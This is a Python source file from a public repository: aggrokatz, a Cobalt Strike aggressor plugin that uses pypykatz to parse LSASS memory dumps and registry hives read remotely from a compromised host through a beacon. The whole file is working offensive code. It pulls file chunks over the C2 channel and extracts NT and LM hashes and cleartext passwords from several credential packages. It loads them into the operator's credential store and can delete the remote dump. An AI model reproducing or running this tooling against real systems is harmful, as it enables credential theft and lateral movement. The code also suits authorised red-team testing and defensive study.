-
Notifications
You must be signed in to change notification settings - Fork 28
/
aggrokatz.py
457 lines (376 loc) · 16 KB
/
aggrokatz.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
#!/usr/bin/env python3
import os
import math
import random
import base64
import datetime
import pycobalt.engine as engine
import pycobalt.aggressor as aggressor
import pycobalt.aliases as aliases
import pycobalt.engine as engine
import pycobalt.gui as gui
import pycobalt.events as events
from pypykatz.pypykatz import pypykatz
from pypykatz.registry.offline_parser import OffineRegistry
def convert_size(size_bytes):
if size_bytes == 0:
return "0B"
size_name = ("B", "KB", "MB", "GB", "TB", "PB", "EB", "ZB", "YB")
i = int(math.floor(math.log(size_bytes, 1024)))
p = math.pow(1024, i)
s = round(size_bytes / p, 2)
return "%s %s" % (s, size_name[i])
# dummy event handler for data in, this will not be invoked but needs to be set
# so we can recieve the file data.
def beacon_output_handler(bid, text, timestamp):
try:
engine.message('beacon_output_handler invoked. This should never happen!!!')
except Exception as e:
engine.message('CB ERROR! %s ' % e)
events.register('beacon_output', beacon_output_handler, official_only=True)
# This class represents a chunk of the minidump file, and holds its bytes
class FileSection:
def __init__(self, startpos, data):
self.startpos = startpos
self.endpos = startpos + len(data)
self.data = data
def inrange(self, start, size):
if start >= self.startpos and (start+size) <= self.endpos:
return True
return False
def read(self, start, size):
return self.data[ start - self.startpos : (start - self.startpos) + size]
def __str__(self):
return '[SECTION] %s - %s (len: %s)' % (hex(self.startpos), hex(self.endpos), convert_size(self.endpos - self.startpos))
# Virtual file object
class BaconFileReader:
def __init__(self, bacon_id, filepath, bof_path, chunksize = 1024*20):
self.filepath = filepath
self.bacon_id = bacon_id
self.cache = []
self.curpos = 0
self.maxreadsize = chunksize
self.minreadsize = 1024*10
self.bof_path = bof_path
self.replyid = random.randint(1, 250*1024)
def __str__(self):
t = ''
total = 0
i = 0
for section in self.cache:
i += 1
total += section.endpos - section.startpos
t += str(section) + '\r\n'
t += 'TOTAL CHUNKS: %s' % i
t += 'TOTAL DOWNLOADED: %s' % convert_size(total)
return t
def __bacon_read(self, n, offset):
engine.message('replyid %s' % self.replyid)
engine.message('offset %s' % offset)
engine.message('N %s' % n)
engine.message('bof_path %s' % self.bof_path)
engine.message('start reading....')
engine.call('rfs', [self.bacon_id, self.bof_path, self.filepath, n, offset, self.replyid])
# dont ask... just dont...
# manual callback processing because of blocking thread stops the entire execution
for name, message in engine.read_pipe_iter():
#engine.message('readiter')
#engine.message(name)
#engine.message(message)
if name == 'callback':
# dispatch callback
callback_name = message['name']
callback_args = message['args'] if 'args' in message else []
if callback_name.startswith('event_beacon_output') is True:
if callback_args[0] == str(self.bacon_id):
data = callback_args[1].replace('received output:\n', '')
data = data.replace('\n', '').strip()
#engine.message('!data!: %s' % data)
if data.startswith('[DATA]') is True:
data = data.split(' ')[1]
#print(base64.b64decode(data))
return base64.b64decode(data)
elif data.startswith('[FAIL]') is True:
raise Exception('File read failed! %s' % data)
else:
try:
engine.handle_message(name, message)
except Exception as e:
engine.handle_exception_softly(e)
def read(self, n = -1):
#engine.message('read %s' % n)
if n == 0:
return b''
if n != -1:
for section in self.cache:
if section.inrange(self.curpos, n) is True:
#engine.message(n)
data = section.read(self.curpos, n)
#engine.message(data)
self.seek(n, 1)
return data
# requested data not found in cache, this case we will read a larger chunk than requested and store it in memory
# since reading more data skews the current position we will need to reset the position by calling seek with the correct pos
readsize = min(self.maxreadsize, n)
readsize = max(self.minreadsize, readsize)
buffer = b''
engine.message('READ offset %s' % self.curpos)
engine.message('READ N %s' % n)
# this is needed bc sometimes the readsize is smaller than the requested amount
for _ in range(int(math.ceil(n/readsize))):
data = self.__bacon_read(readsize, self.curpos+len(buffer))
buffer += data
section = FileSection(self.curpos, buffer)
self.cache.append(section)
data = section.read(self.curpos, n)
self.seek(self.curpos + n, 0)
return data
def tell(self):
return self.curpos
def seek(self, n, whence = 0):
#engine.message('seek N: %s WHEN: %s ' % (n, whence))
if whence == 0:
self.curpos = n
elif whence == 1:
self.curpos += n
elif whence == 2:
self.curpos -= n
else:
raise Exception('What whence?')
def beacon_top_callback(bids):
engine.debug('')
def pwconv(x):
if x is None:
return x
if len(x) == 0 or x is None:
return None
if isinstance(x, str) and x == '' or x.lower() == 'none':
return None
if isinstance(x, bytes):
return x.hex()
return x
def parse_lsass(bid, filepath, boffilepath, chunksize, packages = ['all'], outputs = ['text'], to_delete = False, add_creds = True):
engine.message('parse_lsass invoked')
engine.message('bid %s' % bid)
engine.message('filepath %s' % filepath)
engine.message('chunksize %s' % chunksize)
engine.message('packages %s' % (','.join(packages)))
starttime = datetime.datetime.utcnow()
bfile = BaconFileReader(bid, filepath, boffilepath, chunksize = chunksize)
mimi = pypykatz.parse_minidump_external(bfile, chunksize=chunksize, packages=packages)
engine.message(str(bfile))
endtime = datetime.datetime.utcnow()
runtime = (endtime-starttime).total_seconds()
engine.message('TOTAL RUNTIME: %ss' % runtime)
if 'text' in outputs:
engine.message(str(mimi))
aggressor.blog(bid, str(mimi))
if 'json' in outputs:
engine.message(mimi.to_json())
aggressor.blog(bid, mimi.to_json())
if 'grep' in outputs:
engine.message(mimi.to_grep())
aggressor.blog(bid, mimi.to_grep())
if to_delete is True:
engine.call('fdelete', [bid, boffilepath, filepath, 1])
if add_creds is True:
host = str(bid)
for luid in mimi.logon_sessions:
res = mimi.logon_sessions[luid].to_dict()
for msv in res['msv_creds']:
engine.message(repr(msv))
if pwconv(msv['NThash']) is not None:
source = '[AGGROKATZ][%s][%s] LSASS dump %s' % ('msv', 'NT', filepath)
aggressor.credential_add(str(msv['username']), pwconv(msv['NThash']), str(msv['domainname']), source, host)
if pwconv(msv['LMHash']) is not None:
source = '[AGGROKATZ][%s][%s] LSASS dump %s' % ('msv', 'LM',filepath)
aggressor.credential_add(str(msv['username']), pwconv(msv['LMHash']), str(msv['domainname']), source, host)
for pkgt in ['wdigest_creds','ssp_creds','livessp_creds','kerberos_creds','credman_creds','tspkg_creds']:
for pkg in res[pkgt]:
if pwconv(pkg['password']) is not None:
source = '[AGGROKATZ][%s] LSASS dump %s' % (pkgt, filepath)
aggressor.credential_add(str(pkg['username']), pwconv(pkg['password']), str(pkg['domainname']), source, host)
def parse_registry(bid, boffilepath, system_filepath, sam_filepath = None, security_filepath = None, software_filepath = None, chunksize = 10240, outputs = ['text']):
engine.message('parse_registry invoked')
engine.message('bid %s' % bid)
engine.message('system_filepath %s' % system_filepath)
engine.message('sam_filepath %s' % sam_filepath)
engine.message('security_filepath %s' % security_filepath)
engine.message('software_filepath %s' % software_filepath)
engine.message('chunksize %s' % chunksize)
system_file = BaconFileReader(bid, system_filepath, boffilepath, chunksize=chunksize)
sam_file = None
if sam_filepath is not None and len(sam_filepath) > 0:
sam_file = BaconFileReader(bid, sam_filepath, boffilepath, chunksize=chunksize)
security_file = None
if security_filepath is not None and len(security_filepath) > 0:
security_file = BaconFileReader(bid, security_filepath, boffilepath, chunksize=chunksize)
software_file = None
if software_filepath is not None and len(software_filepath) > 0:
software_file = BaconFileReader(bid, software_filepath, boffilepath, chunksize=chunksize)
starttime = datetime.datetime.utcnow()
po = OffineRegistry.from_files(system_file, sam_path = sam_file, security_path = security_file, software_path = software_file, notfile = True)
endtime = datetime.datetime.utcnow()
runtime = (endtime-starttime).total_seconds()
engine.message('TOTAL RUNTIME: %ss' % runtime)
engine.message(str(po))
if 'text' in outputs:
engine.message(str(po))
aggressor.blog(bid, str(po))
if 'json' in outputs:
engine.message(po.to_json())
aggressor.blog(bid, po.to_json())
def dialog_callback_lsass(dialog, button_name, values_dict):
engine.message('dialog_callback_lsass invoked!')
engine.message('button_name %s' % button_name)
engine.message('values_dict %s' % str(values_dict))
chunksize = int(values_dict['chunksize']) * 1024
filepath = values_dict['filepath']
boffilepath = values_dict['boffilepath']
bid = values_dict['bid']
packages = []
outputs = []
try:
with open(boffilepath, 'rb') as f:
f.read(100)
except Exception as e:
aggressor.show_error("Can't open BOF file! Did you get the path correct? Reason: %s" % e)
return
for pkg in ['all', 'msv','wdigest','kerberos','ktickets','ssp','livessp','tspkg' ,'cloudap']:
if pkg in values_dict and values_dict[pkg] == 'true':
packages.append(pkg)
if len(packages) == 0:
aggressor.show_error("No packages were defined! LSASS parsing will not start!")
return
for output in ['json','text', 'grep']:
if output in values_dict and values_dict[output] == 'true':
outputs.append(output)
if len(outputs) == 0:
aggressor.show_error("No output format(s) selected! LSASS parsing will not start!")
return
to_delete = True if values_dict['delete'] == 'true' else False
add_creds = True if values_dict['credadd'] == 'true' else False
engine.message('to_delete %s' % repr(to_delete))
engine.message('add_creds %s' % repr(add_creds))
parse_lsass(bid, filepath, boffilepath, chunksize, packages = packages, outputs = outputs, to_delete = to_delete, add_creds = add_creds)
def dialog_callback_registry(dialog, button_name, values_dict):
engine.message('dialog_callback_lsass invoked!')
engine.message('button_name %s' % button_name)
engine.message('values_dict %s' % str(values_dict))
chunksize = int(values_dict['chunksize']) * 1024
system_filepath = values_dict['system_filepath']
sam_filepath = values_dict['sam_filepath']
security_filepath = values_dict['security_filepath']
software_filepath = values_dict['software_filepath']
boffilepath = values_dict['boffilepath']
bid = values_dict['bid']
outputs = []
try:
with open(boffilepath, 'rb') as f:
f.read(100)
except Exception as e:
aggressor.show_error("Can't open BOF file! Did you get the path correct? Reason: %s" % e)
return
for output in ['json','text', 'grep']:
if output in values_dict and values_dict[output] == 'true':
outputs.append(output)
if len(outputs) == 0:
aggressor.show_error("No output format(s) selected! LSASS parsing will not start!")
return
parse_registry(bid, boffilepath, system_filepath, sam_filepath = sam_filepath, security_filepath = security_filepath, software_filepath = software_filepath, chunksize = chunksize, outputs = outputs)
def render_dialog_pypykatz_lsass(bid):
drows = {
'filepath': 'C:\\Users\\Administrator\\Desktop\\lsass.DMP',
'boffilepath': 'bof/fileread.o',
'chunksize' : '10',
'all' : "true",
'msv' : "false",
'wdigest' : "false",
'kerberos' : "false",
'ktickets' : "false",
'ssp' : "false",
'livessp' : "false",
'tspkg' : "false",
'cloudap' : "false",
'json' : "false",
'text' : "false",
'grep' : "true",
'credadd' : "true",
'delete' : "false",
'bid' : bid,
}
dialog = aggressor.dialog("LSASS file dump parsing", drows, dialog_callback_lsass)
aggressor.drow_text(dialog, "filepath", "Remote LSASS file path (UNC supported as well)")
aggressor.drow_file(dialog, "boffilepath", "File readBOF file path (local)")
aggressor.drow_text(dialog, "chunksize", "chunksize to use in kb")
aggressor.drow_checkbox(dialog, "all", "all (module)", "")
aggressor.drow_checkbox(dialog, "msv", "msv (module)", "")
aggressor.drow_checkbox(dialog, "wdigest", "wdigest (module)", "")
aggressor.drow_checkbox(dialog, "kerberos", "kerberos (module)", "")
aggressor.drow_checkbox(dialog, "ktickets", "ktickets (module)", "")
aggressor.drow_checkbox(dialog, "ssp", "ssp (module)", "")
aggressor.drow_checkbox(dialog, "livessp", "livessp (module)", "")
aggressor.drow_checkbox(dialog, "tspkg", "tspkg (module)", "")
aggressor.drow_checkbox(dialog, "cloudap", "cloudap (module)", "")
aggressor.drow_checkbox(dialog, "json", "Output to json", "")
aggressor.drow_checkbox(dialog, "text", "Output to text", "")
aggressor.drow_checkbox(dialog, "grep", "Output to grep", "")
aggressor.drow_checkbox(dialog, "credadd", "Populate the Credential tab (not really precise)", "")
aggressor.drow_checkbox(dialog, "delete", "Delete remote file after parsing", "")
aggressor.dbutton_action(dialog, "START")
aggressor.dialog_show(dialog)
def render_dialog_pypykatz_registry(bid):
drows = {
'system_filepath': 'C:\\Users\\Administrator\\Desktop\\SYSTEM.reg',
'sam_filepath': 'C:\\Users\\Administrator\\Desktop\\SAM.reg',
'security_filepath': 'C:\\Users\\Administrator\\Desktop\\SECURITY.reg',
'software_filepath': 'C:\\Users\\Administrator\\Desktop\\SOFTWARE.reg',
'boffilepath': 'bof/fileread.o',
'chunksize' : '10',
'json' : "false",
'text' : "true",
'bid' : bid,
}
dialog = aggressor.dialog("Registry hive file parsing", drows, dialog_callback_registry)
aggressor.drow_text(dialog, "system_filepath", "Remote SYSTEM hive file path (UNC supported as well)")
aggressor.drow_text(dialog, "sam_filepath", "Remote SAM hive file path (UNC supported as well)")
aggressor.drow_text(dialog, "security_filepath", "Remote SECURITY hive file path (UNC supported as well)")
aggressor.drow_text(dialog, "software_filepath", "Remote SOFTWARE hive file path (UNC supported as well)")
aggressor.drow_file(dialog, "boffilepath", "File readBOF file path (local)")
aggressor.drow_text(dialog, "chunksize", "chunksize to use in kb")
aggressor.drow_checkbox(dialog, "json", "Output to json", "")
aggressor.drow_checkbox(dialog, "text", "Output to text", "")
aggressor.dbutton_action(dialog, "START")
aggressor.dialog_show(dialog)
def lsass_start_cb(bids):
engine.message(len(bids))
render_dialog_pypykatz_lsass(bids[0])
def registry_start_cb(bids):
engine.message(len(bids))
engine.message('registry parse cb called!')
render_dialog_pypykatz_registry(bids[0])
menu = gui.popup('beacon_top', callback=beacon_top_callback, children=[
gui.menu('pypyKatz', children=[
gui.insert_menu('pypykatz_top'),
gui.item('LSASS dump parse', callback=lsass_start_cb),
gui.separator(),
gui.item('REGISTRY dump parse', callback=registry_start_cb),
]),
])
gui.register(menu)
engine.message('')
engine.message('')
engine.message('****************************************************************')
engine.message('* *')
engine.message('* aggKatz - pypyKatz Agressor plugin powered by pycobalt *')
engine.message('* *')
engine.message('* *')
engine.message('* Author: Tamas Jos @skelsec *')
engine.message('* Sponsor: Sec-Consult *')
engine.message('* Send issues here: https://github.com/sec-consult/aggrokatz/ *')
engine.message('* *')
engine.message('****************************************************************')
engine.message('')
engine.message('')
# read commands from cobaltstrike. must be called last
engine.loop()